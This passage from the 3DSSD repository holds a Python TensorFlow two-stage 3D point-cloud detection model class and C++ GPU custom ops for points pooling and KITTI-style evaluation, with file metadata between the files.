enumerate(self.cls_list)])\n self.idx2cls = dict([(i + 1, cls) for i, cls in enumerate(self.cls_list)])\n\n # anchor_builder\n self.anchor_builder = Anchors(0, self.cls_list)\n\n # encoder_decoder\n self.encoder_decoder_list = [EncoderDecoder(0), EncoderDecoder(1)]\n\n # postprocessor\n self.postprocessor_list = [PostProcessor(0, 1), PostProcessor(1, len(self.cls_list))]\n\n # loss builder\n self.loss_builder_list = [LossBuilder(0), LossBuilder(1)]\n\n # target assigner\n self.target_assigner_list = [TargetAssigner(0), TargetAssigner(1)]\n\n # sampler\n self.sampler = Sampler(1)\n\n # points pooler\n pool_cfg = cfg.MODEL.NETWORK.FIRST_STAGE.POINTS_POOLER\n self.pool_mask_thresh = cfg.MODEL.NETWORK.FIRST_STAGE.POOLER_MASK_THRESHOLD\n self.points_pooler = PointsPooler(pool_cfg)\n\n ############### RPN head/network definition ##############\n ### head\n self.rpn_iou_loss = False\n self.rpn_heads = []\n head_cfg = cfg.MODEL.NETWORK.FIRST_STAGE.HEAD\n for i in range(len(head_cfg)):\n self.rpn_heads.append(HeadBuilder(self.batch_size, \n self.anchor_builder.anchors_num, 0, head_cfg[i], is_training))\n if self.rpn_heads[-1].layer_type == 'IoU': self.rpn_iou_loss = True\n ### network\n self.rpn_vote_loss = False\n self.rpn_layers = []\n layer_cfg = cfg.MODEL.NETWORK.FIRST_STAGE.ARCHITECTURE\n for i in range(len(layer_cfg)):\n self.rpn_layers.append(LayerBuilder(i, self.is_training, layer_cfg)) \n if self.rpn_layers[-1].layer_type == 'Vote_Layer': self.rpn_vote_loss = True\n\n ############### RCNN-stage head/network definition ##############\n ### head\n self.rcnn_iou_loss = False\n self.rcnn_heads = []\n head_cfg = cfg.MODEL.NETWORK.SECOND_STAGE.HEAD\n for i in range(len(head_cfg)):\n self.rcnn_heads.append(HeadBuilder(self.batch_size, \n 1, 1, head_cfg[i], is_training))\n if self.rcnn_heads[-1].layer_type == 'IoU': self.rcnn_iou_loss = True\n ### network\n self.rcnn_vote_loss = False\n self.rcnn_layers = []\n layer_cfg = cfg.MODEL.NETWORK.SECOND_STAGE.ARCHITECTURE\n for i in range(len(layer_cfg)):\n self.rcnn_layers.append(LayerBuilder(i, self.is_training, layer_cfg)) \n if self.rcnn_layers[-1].layer_type == 'Vote_Layer': self.rcnn_vote_loss = True\n\n self.heads = [self.rpn_heads, self.rcnn_heads]\n self.layers = [self.rpn_layers, self.rcnn_layers]\n self.corner_loss = [cfg.MODEL.FIRST_STAGE.CORNER_LOSS, cfg.MODEL.SECOND_STAGE.CORNER_LOSS]\n self.vote_loss = [self.rpn_vote_loss, self.rcnn_vote_loss]\n self.iou_loss = [self.rpn_iou_loss, self.rcnn_iou_loss]\n self.attr_velo_loss = [False, cfg.MODEL.SECOND_STAGE.PREDICT_ATTRIBUTE_AND_VELOCITY]\n\n self.__init_dict()\n\n def __init_dict(self):\n self.output = dict()\n # sampled xyz/feature\n self.output[maps_dict.KEY_OUTPUT_XYZ] = []\n self.output[maps_dict.KEY_OUTPUT_FEATURE] = []\n # generated anchors\n self.output[maps_dict.KEY_ANCHORS_3D] = [] # generated anchors\n # vote output\n self.output[maps_dict.PRED_VOTE_OFFSET] = []\n self.output[maps_dict.PRED_VOTE_BASE] = []\n # det output\n self.output[maps_dict.PRED_CLS] = []\n self.output[maps_dict.PRED_OFFSET] = []\n self.output[maps_dict.PRED_ANGLE_CLS] = []\n self.output[maps_dict.PRED_ANGLE_RES] = []\n self.output[maps_dict.CORNER_LOSS_PRED_BOXES_CORNERS] = []\n self.output[maps_dict.PRED_ATTRIBUTE] = []\n self.output[maps_dict.PRED_VELOCITY] = []\n # iou output\n self.output[maps_dict.PRED_IOU_3D_VALUE] = []\n # final result\n self.output[maps_dict.PRED_3D_BBOX] = []\n self.output[maps_dict.PRED_3D_SCORE] = []\n self.output[maps_dict.PRED_3D_CLS_CATEGORY] = []\n self.output[maps_dict.PRED_3D_ATTRIBUTE] = []\n self.output[maps_dict.PRED_3D_VELOCITY] = []\n\n self.prediction_keys = self.output.keys()\n\n self.labels = dict()\n self.labels[maps_dict.GT_CLS] = []\n self.labels[maps_dict.GT_OFFSET] = []\n self.labels[maps_dict.GT_ANGLE_CLS] = []\n self.labels[maps_dict.GT_ANGLE_RES] = []\n self.labels[maps_dict.GT_ATTRIBUTE] = []\n self.labels[maps_dict.GT_VELOCITY] = []\n self.labels[maps_dict.GT_BOXES_ANCHORS_3D] = []\n self.labels[maps_dict.GT_IOU_3D_VALUE] = []\n\n self.labels[maps_dict.GT_PMASK] = []\n self.labels[maps_dict.GT_NMASK] = []\n self.labels[maps_dict.CORNER_LOSS_GT_BOXES_CORNERS] = []\n\n def network_forward(self, point_cloud, index, bn_decay,\n xyz_list, feature_list, fps_idx_list):\n\n l0_xyz = tf.slice(point_cloud, [0,0,0], [-1,-1,3])\n l0_points = tf.slice(point_cloud, [0,0,3], [-1,-1,-1])\n \n xyz_list.append(l0_xyz)\n feature_list.append(l0_points)\n fps_idx_list.append(None)\n\n layers, heads = self.layers[index], self.heads[index] \n\n for layer in layers:\n xyz_list, feature_list, fps_idx_list = layer.build_layer(xyz_list, feature_list, fps_idx_list, bn_decay, self.output)\n\n cur_head_start_idx = len(self.output[maps_dict.KEY_OUTPUT_XYZ])\n for head in heads:\n head.build_layer(xyz_list, feature_list, bn_decay, self.output)\n merge_head_prediction(cur_head_start_idx, self.output, self.prediction_keys)\n\n\n def model_forward(self, bn_decay=None):\n points_input_det = self.placeholders[maps_dict.PL_POINTS_INPUT]\n\n # forward the point cloud\n xyz_list, feature_list, fps_idx_list = [], [], []\n self.network_forward(points_input_det, 0, bn_decay,\n xyz_list, feature_list, fps_idx_list)\n\n # generate anchors\n base_xyz = self.output[maps_dict.KEY_OUTPUT_XYZ][-1]\n anchors = self.anchor_builder.generate(base_xyz) # [bs, pts_num, 1/cls_num, 7]\n self.output[maps_dict.KEY_ANCHORS_3D].append(anchors)\n\n if self.is_training: # training mode\n self.target_assign(-1, 0, base_xyz, anchors)\n self.train_forward(-1, 0, anchors) \n\n # decode proposals\n self.test_forward(-1, 0, cfg.MODEL.FIRST_STAGE, anchors)\n\n if self.only_first_stage: return\n\n # [bs, proposal_num, 7]\n proposals = self.output[maps_dict.PRED_3D_BBOX][-1]\n proposals = tf.reshape(proposals, [self.batch_size, cfg.MODEL.FIRST_STAGE.MAX_OUTPUT_NUM, 7])\n expand_proposals = tf.expand_dims(proposals, axis=2)\n ctr_proposals = cast_bottom_to_center(proposals)\n\n if self.is_training:\n valid_mask = self.points_pooler.get_valid_mask(base_xyz, proposals)\n expand_proposals = self.target_assign(-1, 1, ctr_proposals[:, :, :3], expand_proposals, valid_mask)\n proposals = tf.squeeze(expand_proposals, axis=2)\n ctr_proposals = cast_bottom_to_center(proposals)\n # [bs, proposal_num, 1, 7]\n self.output[maps_dict.KEY_ANCHORS_3D].append(expand_proposals)\n\n # pool\n base_feature = self.output[maps_dict.KEY_OUTPUT_FEATURE][-1]\n base_mask = self.output[maps_dict.PRED_3D_SCORE][-1]\n base_mask = tf.cast(tf.greater_equal(base_mask, self.pool_mask_thresh), tf.float32)\n base_mask = tf.expand_dims(base_mask, axis=-1) # [bs, proposal_num, 1]\n pool_feature, pool_mask = self.points_pooler.pool(base_xyz, base_feature, base_mask, proposals, self.is_training, bn_decay) # [bs * proposal_num, sample_num, 3+c]\n \n # initialize the list of stage-2 with proposal center\n xyz_list, feature_list, fps_idx_list = [ctr_proposals[:, :, :3]], [None], [None]\n\n # second-stage forward\n self.network_forward(pool_feature, 1, bn_decay,\n xyz_list, feature_list, fps_idx_list)\n\n if self.is_training: # training mode\n self.train_forward(-1, 1, expand_proposals) \n else:\n self.test_forward(-1, 1, cfg.MODEL.SECOND_STAGE, expand_proposals, valid_mask=pool_mask)\n\n\n def target_assign(self, index, stage_index, base_xyz, anchors, valid_mask=None):\n \"\"\"\n Assign target labels for each anchor/proposal\n If stage_index >= 1: also gather assigned proposals out\n \"\"\"\n encoder_decoder = self.encoder_decoder_list[stage_index]\n target_assigner = self.target_assigner_list[stage_index]\n\n gt_boxes_3d = self.placeholders[maps_dict.PL_LABEL_BOXES_3D]\n gt_classes = self.placeholders[maps_dict.PL_LABEL_CLASSES]\n gt_angle_cls = self.placeholders[maps_dict.PL_ANGLE_CLS]\n gt_angle_res = self.placeholders[maps_dict.PL_ANGLE_RESIDUAL]\n\n if maps_dict.PL_LABEL_ATTRIBUTES in self.placeholders.keys():\n gt_attributes = self.placeholders[maps_dict.PL_LABEL_ATTRIBUTES]\n else: gt_attributes = None\n\n if maps_dict.PL_LABEL_VELOCITY in self.placeholders.keys():\n gt_velocity = self.placeholders[maps_dict.PL_LABEL_VELOCITY]\n else: gt_velocity = None\n\n returned_list = target_assigner.assign(base_xyz, anchors, gt_boxes_3d, gt_classes, gt_angle_cls, gt_angle_res, gt_velocity, gt_attributes, valid_mask)\n\n assigned_idx, assigned_pmask, assigned_nmask, assigned_gt_boxes_3d, assigned_gt_labels, assigned_gt_angle_cls, assigned_gt_angle_res, assigned_gt_velocity, assigned_gt_attribute = returned_list\n\n # encode offset\n assigned_gt_offset, assigned_gt_angle_cls, assigned_gt_angle_res = encoder_decoder.encode(base_xyz, assigned_gt_boxes_3d, anchors)\n\n if stage_index >= 1: # gather assigned proposal out for reducing memory cost\n assigned_mask = assigned_pmask + assigned_nmask\n\n anchors, assigned_pmask, assigned_nmask, assigned_gt_boxes_3d, assigned_gt_labels, \\\n assigned_gt_offset, assigned_gt_angle_cls, assigned_gt_angle_res, \\\n assigned_gt_velocity, assigned_gt_attribute = self.sampler.gather_list(\\\n assigned_mask, [anchors, assigned_pmask, assigned_nmask, assigned_gt_boxes_3d, assigned_gt_labels,\\\n assigned_gt_offset, assigned_gt_angle_cls, assigned_gt_angle_res, \\\n assigned_gt_velocity, assigned_gt_attribute])\n \n\n self.labels[maps_dict.GT_CLS].append(assigned_gt_labels)\n self.labels[maps_dict.GT_BOXES_ANCHORS_3D].append(assigned_gt_boxes_3d)\n self.labels[maps_dict.GT_OFFSET].append(assigned_gt_offset)\n self.labels[maps_dict.GT_ANGLE_CLS].append(assigned_gt_angle_cls)\n self.labels[maps_dict.GT_ANGLE_RES].append(assigned_gt_angle_res)\n self.labels[maps_dict.GT_ATTRIBUTE].append(assigned_gt_attribute)\n self.labels[maps_dict.GT_VELOCITY].append(assigned_gt_velocity)\n self.labels[maps_dict.GT_PMASK].append(assigned_pmask)\n self.labels[maps_dict.GT_NMASK].append(assigned_nmask)\n return anchors\n\n\n def train_forward(self, index, stage_index, anchors, valid_mask=None):\n \"\"\"\n Calculating loss\n \"\"\"\n loss_builder = self.loss_builder_list[stage_index]\n encoder_decoder = self.encoder_decoder_list[stage_index]\n\n base_xyz = self.output[maps_dict.KEY_OUTPUT_XYZ][index]\n pred_offset = self.output[maps_dict.PRED_OFFSET][index]\n pred_angle_cls = self.output[maps_dict.PRED_ANGLE_CLS][index]\n pred_angle_res = self.output[maps_dict.PRED_ANGLE_RES][index]\n\n # corner_loss\n assigned_gt_angle_cls = self.labels[maps_dict.GT_ANGLE_CLS][index]\n assigned_gt_boxes_3d = self.labels[maps_dict.GT_BOXES_ANCHORS_3D][index] \n corner_loss_angle_cls = tf.cast(tf.one_hot(assigned_gt_angle_cls, depth=cfg.MODEL.ANGLE_CLS_NUM, on_value=1, off_value=0, axis=-1), tf.float32) # bs, pts_num, cls_num, -1\n pred_anchors_3d = encoder_decoder.decode(base_xyz, pred_offset, corner_loss_angle_cls, pred_angle_res, self.is_training, anchors) # [bs, points_num, cls_num, 7]\n pred_corners = transfer_box3d_to_corners(pred_anchors_3d) # [bs, points_num, cls_num, 8, 3] \n gt_corners = transfer_box3d_to_corners(assigned_gt_boxes_3d) # [bs, points_num, cls_num,8,3]\n self.output[maps_dict.CORNER_LOSS_PRED_BOXES_CORNERS].append(pred_corners)\n self.labels[maps_dict.CORNER_LOSS_GT_BOXES_CORNERS].append(gt_corners)\n\n loss_builder.forward(index, self.labels, self.output, self.placeholders, self.corner_loss[stage_index], self.vote_loss[stage_index], self.attr_velo_loss[stage_index], self.iou_loss[stage_index])\n\n\n def test_forward(self, index, stage_index, stage_cfg, anchors, valid_mask=None):\n encoder_decoder = self.encoder_decoder_list[stage_index]\n postprocessor = self.postprocessor_list[stage_index] \n\n base_xyz = self.output[maps_dict.KEY_OUTPUT_XYZ][index]\n\n pred_cls = self.output[maps_dict.PRED_CLS][index] # [bs, points_num, cls_num + 1/0]\n pred_offset = self.output[maps_dict.PRED_OFFSET][index]\n pred_angle_cls = self.output[maps_dict.PRED_ANGLE_CLS][index]\n pred_angle_res = self.output[maps_dict.PRED_ANGLE_RES][index]\n\n # decode predictions\n pred_anchors_3d = encoder_decoder.decode(base_xyz, pred_offset, pred_angle_cls, pred_angle_res, self.is_training, anchors) # [bs, points_num, cls_num, 7]\n \n # decode classification\n if stage_cfg.CLS_ACTIVATION == 'Softmax':\n # softmax \n pred_score = tf.nn.softmax(pred_cls)\n pred_score = tf.slice(pred_score, [0, 0, 1], [-1, -1, -1])\n else: # sigmoid\n pred_score = tf.nn.sigmoid(pred_cls)\n\n # using IoU branch proposed by sparse-to-dense\n if self.iou_loss[stage_index]:\n pred_iou = self.output[maps_dict.PRED_IOU_3D_VALUE][index]\n pred_score = pred_score * pred_iou\n\n if valid_mask is not None:\n valid_mask = tf.cast(valid_mask, tf.float32)\n pred_score = pred_score * valid_mask\n\n if len(self.output[maps_dict.PRED_ATTRIBUTE]) <= 0:\n pred_attribute = None\n else: pred_attribute = self.output[maps_dict.PRED_ATTRIBUTE][index]\n\n if len(self.output[maps_dict.PRED_VELOCITY]) <= 0:\n pred_velocity = None\n else: pred_velocity = self.output[maps_dict.PRED_VELOCITY][index]\n\n postprocessor.forward(pred_anchors_3d, pred_score, self.output, pred_attribute, pred_velocity)\n\n" }, { "alpha_fraction": 0.5721636414527893, "alphanum_fraction": 0.585027813911438, "avg_line_length": 51.846492767333984, "blob_id": "c71c795dc0464ff1501d02bb4cbc23c25c18ad34", "content_id": "2ba65f71af7423e7c2003d02e4dcd6d08d99e7ee", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 12049, "license_type": "permissive", "max_line_length": 151, "num_lines": 228, "path": "/lib/utils/tf_ops/points_pooling/tf_points_pooling.cpp", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#include <cstdio>\n#include <ctime>\n#include <cstring> // memset\n#include <cstdlib> // rand, RAND_MAX\n#include <cmath> // sqrtf\n#include \"tensorflow/core/framework/op.h\"\n#include \"tensorflow/core/framework/op_kernel.h\"\n#include \"tensorflow/core/framework/shape_inference.h\"\n#include \"tensorflow/core/framework/common_shape_fns.h\"\n#include <cuda_runtime.h>\nusing namespace tensorflow;\n\nREGISTER_OP(\"PointsPooling\")\n .Attr(\"l: int\")\n .Attr(\"h: int\")\n .Attr(\"w: int\")\n .Attr(\"sample_num: int\")\n .Input(\"pc: float32\") // [bs, proposal_num, point_num, c]\n .Input(\"box_3d: float32\") // [bs, proposal_num, 6]\n .Input(\"pc_loc: float32\") // [bs, proposal_num, point_num, 3]\n .Output(\"out_features: float32\") // [bs, proposal_num, l, h, w, sample_num, c]\n .Output(\"out_idx: int32\") // [bs, proposal_num, l, h, w, sample_num]\n .Output(\"sampled_num_lists: int32\") // [bs, proposal_num, l, h, w]\n .Output(\"pillars: float32\") // [bs, proposal_num, l, h, w, 3], ctrs for each pillars\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // [bs, proposal_num, point_num, c]\n c->WithRank(c->input(0), 4, &dims1);\n int l, h, w, sample_num;\n TF_RETURN_IF_ERROR(c->GetAttr(\"l\", &l));\n TF_RETURN_IF_ERROR(c->GetAttr(\"h\", &h));\n TF_RETURN_IF_ERROR(c->GetAttr(\"w\", &w));\n TF_RETURN_IF_ERROR(c->GetAttr(\"sample_num\", &sample_num));\n ::tensorflow::shape_inference::ShapeHandle output1 = c->MakeShape({c->Dim(dims1, 0), c->Dim(dims1, 1), l, h, w, sample_num, c->Dim(dims1, 3)});\n c->set_output(0, output1);\n ::tensorflow::shape_inference::ShapeHandle output2 = c->MakeShape({c->Dim(dims1, 0), c->Dim(dims1, 1), l, h, w, sample_num});\n c->set_output(1, output2);\n ::tensorflow::shape_inference::ShapeHandle output3 = c->MakeShape({c->Dim(dims1, 0), c->Dim(dims1, 1), l, h, w});\n c->set_output(2, output3);\n ::tensorflow::shape_inference::ShapeHandle output4 = c->MakeShape({c->Dim(dims1, 0), c->Dim(dims1, 1), l, h, w, 3});\n c->set_output(3, output4);\n return Status::OK();\n });\n\nREGISTER_OP(\"PointsPoolingGrad\")\n .Input(\"pc: float32\") // [bs, proposal_num, point_num, c]\n .Input(\"out_idx: int32\") // [bs, proposal_num, l, h, w, sample_num]\n .Input(\"sampled_num_lists: int32\") // [bs, proposal_num, l, h, w]\n .Input(\"features_grad: float32\") // [bs, proposal_num, l, h, w, sample_num, c]\n .Output(\"pc_grad: float32\") // [bs, proposal_num, point_num, c]\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n c->set_output(0, c->input(0));\n return Status::OK();\n });\n\nvoid pointsPoolingLauncher(const int bs, const int proposal_num, const int point_num, const int channel_num, \n const int l, const int h, const int w, const int sample_num, \n const float* pc, const float* box_3d, const float* pc_loc, \n float* out_features, int* out_idx, int *sampled_num_lists, float* pillars);\n\nclass PointsPoolingGpuOp: public OpKernel{\n public:\n explicit PointsPoolingGpuOp(OpKernelConstruction * context):OpKernel(context){\n OP_REQUIRES_OK(context, context->GetAttr(\"l\", &l_));\n OP_REQUIRES(context, l_ > 0, errors::InvalidArgument(\"PointsPooling method expects positive length\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"h\", &h_));\n OP_REQUIRES(context, h_ > 0, errors::InvalidArgument(\"PointsPooling method expects positive height\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"w\", &w_));\n OP_REQUIRES(context, w_ > 0, errors::InvalidArgument(\"PointsPooling method expects positive width\"));\n\n OP_REQUIRES_OK(context, context->GetAttr(\"sample_num\", &sample_num_));\n OP_REQUIRES(context, sample_num_ > 0, errors::InvalidArgument(\"PointsPooling method expects positive sample number\"));\n }\n\n void Compute(OpKernelContext * context) override {\n const Tensor& pc_tensor = context->input(0);\n OP_REQUIRES(context, pc_tensor.dims()==4, \n errors::InvalidArgument(\"PointsPooling expects (bs, proposal_num, num_points, channel) points shape\"));\n int bs = pc_tensor.shape().dim_size(0);\n int proposal_num = pc_tensor.shape().dim_size(1);\n int point_num = pc_tensor.shape().dim_size(2); \n int channel_num = pc_tensor.shape().dim_size(3); \n\n const Tensor& box_3d_tensor = context->input(1);\n OP_REQUIRES(context, box_3d_tensor.dims()==3 && \n box_3d_tensor.shape().dim_size(0)==bs && \n box_3d_tensor.shape().dim_size(1)==proposal_num && \n box_3d_tensor.shape().dim_size(2)==6, \n errors::InvalidArgument(\"PointsPooling expects (bs, proposal_num, 6) proposal tensor shape\"));\n\n const Tensor& pc_loc_tensor = context->input(2);\n OP_REQUIRES(context, pc_loc_tensor.dims()==4 && \n pc_loc_tensor.shape().dim_size(0)==bs && \n pc_loc_tensor.shape().dim_size(1)==proposal_num && \n pc_loc_tensor.shape().dim_size(2)==point_num && \n pc_loc_tensor.shape().dim_size(3)==3, \n errors::InvalidArgument(\"PointsPooling expects (proposal_num, points_num, 3) points location tensor shape\"));\n \n\n Tensor * out_features_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0,\n TensorShape{bs, proposal_num, l_, h_, w_, sample_num_, channel_num}, &out_features_tensor));\n\n Tensor * out_idx_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(1,\n TensorShape{bs, proposal_num, l_, h_, w_, sample_num_}, &out_idx_tensor));\n\n Tensor *sampled_num_lists_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(2,\n TensorShape{bs, proposal_num, l_, h_, w_}, &sampled_num_lists_tensor));\n\n Tensor *pillars_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(3,\n TensorShape{bs, proposal_num, l_, h_, w_, 3}, &pillars_tensor));\n\n auto pc_flat = pc_tensor.flat<float>();\n const float *pc = &(pc_flat(0));\n auto box_3d_flat = box_3d_tensor.flat<float>();\n const float *box_3d = &(box_3d_flat(0));\n auto pc_loc_flat = pc_loc_tensor.flat<float>();\n const float *pc_loc = &(pc_loc_flat(0));\n \n auto out_features_flat = out_features_tensor->flat<float>();\n float * out_features = &(out_features_flat(0));\n auto out_idx_flat = out_idx_tensor->flat<int>();\n int * out_idx = &(out_idx_flat(0));\n auto sampled_num_lists_flat = sampled_num_lists_tensor->flat<int>();\n int * sampled_num_lists = &(sampled_num_lists_flat(0));\n auto pillars_flat = pillars_tensor->flat<float>();\n float* pillars = &(pillars_flat(0));\n\n cudaMemset(out_features, 0, \n sizeof(float) * bs * proposal_num * l_ *h_ *w_ * sample_num_ * channel_num);\n cudaMemset(out_idx, 0, \n sizeof(int) * bs * proposal_num * l_ * h_ * w_ * sample_num_);\n cudaMemset(sampled_num_lists, 0, \n sizeof(int) * bs * proposal_num * l_ * h_ * w_);\n cudaMemset(pillars, 0, \n sizeof(float)* bs * proposal_num * l_ * h_ * w_ * 3);\n \n pointsPoolingLauncher(bs, proposal_num, point_num, channel_num, \n l_, h_, w_, sample_num_, \n pc, box_3d, pc_loc,\n out_features, out_idx, sampled_num_lists, pillars);\n }\n private:\n int l_, h_, w_, sample_num_;\n};\nREGISTER_KERNEL_BUILDER(Name(\"PointsPooling\").Device(DEVICE_GPU),PointsPoolingGpuOp);\n\n\n\nvoid pointsPoolingGradLauncher(const int bs, const int proposal_num, const int point_num, const int channel_num, \n const int l, const int h, const int w, const int sample_num, \n const float* pc, const int* out_idx, const int *sampled_num_lists, const float* features_grad, \n float *pc_grad);\n\nclass PointsPoolingGradGpuOp: public OpKernel{\n public:\n explicit PointsPoolingGradGpuOp(OpKernelConstruction * context):OpKernel(context){}\n\n void Compute(OpKernelContext * context) override {\n const Tensor& pc_tensor = context->input(0);\n OP_REQUIRES(context, pc_tensor.dims()==4, \n errors::InvalidArgument(\"PointsPooling expects (bs, proposal_num, point_num, channel_num) points shape\"));\n int bs = pc_tensor.shape().dim_size(0);\n int proposal_num = pc_tensor.shape().dim_size(1);\n int point_num = pc_tensor.shape().dim_size(2);\n int channel_num = pc_tensor.shape().dim_size(3);\n\n const Tensor& out_idx_tensor=context->input(1);\n OP_REQUIRES(context,out_idx_tensor.dims()==6 &&\n out_idx_tensor.shape().dim_size(0)==bs && \n out_idx_tensor.shape().dim_size(1)==proposal_num, \n errors::InvalidArgument(\"Wrong arguments for out_idx_tensor in grad ops\"));\n int l = out_idx_tensor.shape().dim_size(2);\n int h = out_idx_tensor.shape().dim_size(3);\n int w = out_idx_tensor.shape().dim_size(4);\n int sample_num = out_idx_tensor.shape().dim_size(5);\n \n\n const Tensor& sampled_num_lists_tensor = context->input(2);\n OP_REQUIRES(context,sampled_num_lists_tensor.dims()==5 && \n sampled_num_lists_tensor.shape().dim_size(0)==bs && \n sampled_num_lists_tensor.shape().dim_size(1)==proposal_num && \n sampled_num_lists_tensor.shape().dim_size(2) == l && \n sampled_num_lists_tensor.shape().dim_size(3) == h && \n sampled_num_lists_tensor.shape().dim_size(4) == w, \n errors::InvalidArgument(\"Wrong shape for grad ops of sampled_num_lists tensor\"));\n\n const Tensor& features_grad_tensor = context->input(3);\n OP_REQUIRES(context,features_grad_tensor.dims()==7 && \n features_grad_tensor.shape().dim_size(0)==bs && \n features_grad_tensor.shape().dim_size(1)==proposal_num && \n features_grad_tensor.shape().dim_size(2) == l && \n features_grad_tensor.shape().dim_size(3) == h && \n features_grad_tensor.shape().dim_size(4) == w && \n features_grad_tensor.shape().dim_size(5)==sample_num && \n features_grad_tensor.shape().dim_size(6)==channel_num, \n errors::InvalidArgument(\"Wrong shape for grad ops of features_grad out put tensor\"));\n\n Tensor *pc_grad_tensor = nullptr;\n OP_REQUIRES_OK(context, context->allocate_output(0,\n TensorShape{bs, proposal_num, point_num, channel_num}, &pc_grad_tensor));\n\n auto pc_flat = pc_tensor.flat<float>();\n const float *pc = &(pc_flat(0));\n auto out_idx_flat = out_idx_tensor.flat<int>();\n const int *out_idx = &(out_idx_flat(0));\n auto sampled_num_lists_flat = sampled_num_lists_tensor.flat<int>();\n const int* sampled_num_lists = &(sampled_num_lists_flat(0));\n auto features_grad_flat = features_grad_tensor.flat<float>();\n const float* features_grad = &(features_grad_flat(0));\n \n auto pc_grad_flat = pc_grad_tensor->flat<float>();\n float* pc_grad = &(pc_grad_flat(0));\n\n cudaMemset(pc_grad, 0, \n sizeof(float) * bs * proposal_num * point_num * channel_num);\n \n pointsPoolingGradLauncher(bs, proposal_num, point_num, channel_num, \n l, h, w, sample_num, \n pc, out_idx, sampled_num_lists, features_grad, \n pc_grad);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"PointsPoolingGrad\").Device(DEVICE_GPU),PointsPoolingGradGpuOp);\n" }, { "alpha_fraction": 0.6122710704803467, "alphanum_fraction": 0.6302197575569153, "avg_line_length": 49.32258224487305, "blob_id": "e10664e7902544b4f85b67090df220533dfe2c71", "content_id": "baa13b65aa764b36a382b11daf6a407809a774ec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10920, "license_type": "permissive", "max_line_length": 228, "num_lines": 217, "path": "/lib/utils/tf_ops/evaluation/tf_evaluate.cpp", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#include <cstdio>\n#include <ctime>\n#include <cstring> // memset\n#include <cstdlib> // rand, RAND_MAX\n#include <cmath> // sqrtf\n#include \"tensorflow/core/framework/op.h\"\n#include \"tensorflow/core/framework/op_kernel.h\"\n#include \"tensorflow/core/framework/shape_inference.h\"\n#include \"tensorflow/core/framework/common_shape_fns.h\"\n#include \"evaluate.cpp\"\n\nusing namespace tensorflow;\n\nREGISTER_OP(\"Evaluate\")\n .Input(\"detections: float32\")\n .Input(\"names: string\")\n .Input(\"numlist: int32\")\n .Output(\"precision_image: float32\")\n .Output(\"aos_image: float32\")\n .Output(\"precision_ground: float32\")\n .Output(\"aos_ground: float32\")\n .Output(\"precision_3d: float32\")\n .Output(\"aos_3d: float32\")\n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({NUM_CLASS, 3, (int)N_SAMPLE_PTS});\n c->set_output(0, output);\n c->set_output(1, output);\n c->set_output(2, output);\n c->set_output(3, output);\n c->set_output(4, output);\n c->set_output(5, output);\n return Status::OK();\n });\n\nREGISTER_OP(\"CalcIou\")\n .Input(\"detections: float32\") // [bs, num_dets, 7]\n .Input(\"groundtruths: float32\") // [bs, num_gts, 7]\n .Output(\"iou_bev: float32\") // [bs, num_dets, num_gts]\n .Output(\"iou_3d: float32\") // [bs, num_dets, num_gts] \n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // [bs, num_dets, 7]\n c->WithRank(c->input(0), 3, &dims1);\n ::tensorflow::shape_inference::ShapeHandle dims2; // [bs, num_gts, 7]\n c->WithRank(c->input(1), 3, &dims2);\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims1, 0), c->Dim(dims1, 1), c->Dim(dims2, 1)}); // [bs, num_dets, num_gts]\n c->set_output(0, output);\n return Status::OK();\n });\n\nREGISTER_OP(\"CalcMatchingIou\")\n .Input(\"detections: float32\") // [-1, 7]\n .Input(\"groundtruths: float32\") // [-1, 7]\n .Output(\"iou_bev: float32\") // [-1]\n .Output(\"iou_3d: float32\") // [-1] \n .SetShapeFn([](::tensorflow::shape_inference::InferenceContext* c) {\n ::tensorflow::shape_inference::ShapeHandle dims1; // [-1, 7]\n c->WithRank(c->input(0), 2, &dims1);\n // [-1]\n ::tensorflow::shape_inference::ShapeHandle output = c->MakeShape({c->Dim(dims1, 0)});\n c->set_output(0, output);\n c->set_output(1, output);\n return Status::OK();\n });\n\n\nfloat randomf(){\n return (rand()+0.5)/(RAND_MAX+1.0);\n}\n\nstatic double get_time(){\n timespec tp;\n clock_gettime(CLOCK_MONOTONIC,&tp);\n return tp.tv_sec+tp.tv_nsec*1e-9;\n}\n\n\n\nvoid evaluate_cpu(const float* detections, const string* names, const int* num_list, const int num_images, \n float* precision_image, float* aos_image, float* precision_ground, float* aos_ground, float* precision_3d, float* aos_3d) {\n eval(detections, names, num_list, num_images, precision_image, aos_image, precision_ground, aos_ground, precision_3d, aos_3d); \n}\n\n\nclass EvaluateOp: public OpKernel{\n public:\n explicit EvaluateOp(OpKernelConstruction * context):OpKernel(context){}\n\n void Compute(OpKernelContext * context) override {\n const Tensor& detections_tensor=context->input(0);\n OP_REQUIRES(context, detections_tensor.dims()==2 && detections_tensor.shape().dim_size(1)==NUM_DETECTION_ELEM, \n errors::InvalidArgument(\"Evaluate expects (n,m) detections shape\"));\n int n_boxes = detections_tensor.shape().dim_size(0);\n int c = detections_tensor.shape().dim_size(1);\n\n const Tensor& names_tensor=context->input(1);\n OP_REQUIRES(context, names_tensor.dims()==1, errors::InvalidArgument(\"Evaluate expects (n_images,) names shape\"));\n int n_images = names_tensor.shape().dim_size(0);\n const Tensor& numlist_tensor=context->input(2);\n OP_REQUIRES(context, numlist_tensor.dims()==1 && names_tensor.shape().dim_size(0) == numlist_tensor.shape().dim_size(0), \n errors::InvalidArgument(\"Evaluate expects (n_images,) 